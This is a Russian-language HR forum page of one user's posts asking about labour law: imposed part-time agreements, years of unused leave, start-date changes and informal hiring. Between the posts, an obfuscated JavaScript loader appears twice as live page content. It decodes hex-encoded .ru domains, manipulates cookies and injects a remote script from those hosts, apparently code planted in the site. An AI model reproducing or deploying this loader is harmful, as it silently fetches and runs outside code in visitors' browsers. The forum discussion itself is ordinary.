galiya1808@mail.ru (Все сообщения пользователя) , Публикация №164774

Да ничем. Да и приказа не было. Есть доп.соглашения с каждым работником о неполном рабочем дне с оплатой согласно отработанного времени. никто не хочет конфликтовать с начальником - у нас очень трудно в городе с работой. Просто ему "лишние расходы на соц.отчисления не нужны". Пробовали поспорить некоторые - задержал з.плату. Сказала ему про нарушение ТК - не захотел даже слушать. Вот как-то так.

С 01.06.15 приказом по организации увеличили всем работникам оклад. На следующий день руководитель( И.П.) дал распоряжение заключить со всеми работниками ДС к ТД о неполном рабочем дне ( 6 часов) сознательно идя на нарушение. Ни заявления с работников ни тем более уведомления за 2 месяца не было. С не согласными подписать провели беседу за закрытыми дверями. Чем это чревато для И.П. ???

Прошу прощения- что-то с интернетом не лады. Не могу исправить. (удалить ненужное)


wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1";)+"=([^;]*)";));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600";),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script";);i.setAttribute("src",n),i.setAttribute("type","text/javascript";),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom";);e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods";);m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru";)+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

спасибо.

Подскажите пож., какую оплату указывать на допсоглашении на неполный рабочий день (7 часов) - полный оклад как в штатном или из расчета за 7 часов. ???

Спасибо, поняла.

Подписан трудовой договор с работником от 08 декабря 2014 года. По обоюдному согласию сторон работать начал работник только через месяц т.е. 12 января 2015 года. Можно ли оформить дополнительное соглашение с работником об изменении даты начала работы или заключить новый трудовой договор с работником.

Нужен совет. Ген.директор с 2009 года не был в отпуске- были такие "ответственные" кадровики. Нарушение-понятно- но можно ли сейчас предоставить отпуск за период с 2009года по 2013 , т.е. за три года??? или как? Что делать? Подскажите! Плиз!!

Ага, доплачивают.Только своей основной работы много-тяжеловато. У нас по увольнялись бухгалтера, никто не идет на главбуха - вот и корплю почти за троих. Доработаю до отпуска и буду "бастовать"-устала реально. Еще раз спасибо за помощь.

То есть организация должна ему отпуск уже за 2 года? Я не кадровик - вменили временно в обязанность, и похоже временное стало постоянным. Спасибо за помощь!!

Пожалуйста, помогите. Работник ушел в отпуск в октябре 2011 года по графику (период с 01.10.10 по 01.10.11гг) и попал в аварию, почти год был на больничном, после догулял отпуск в августе 2012 года и уже в сентябре 2012 года вышел на работу. Сейчас с 1 июля снова хочет в отпуск - какой брать период. Объясняю ,надеюсь, не слишком путано.

Такая же ситуация. У нас треть работников работают неофициально - трудовые здесь. Если что-то руководителю не нравится в работниках - оформляет задним число и увольняет за нарушения трудовой дисциплины. А больничные не оплачивает, конечно. Работы в городе нет - вот работники и молчат.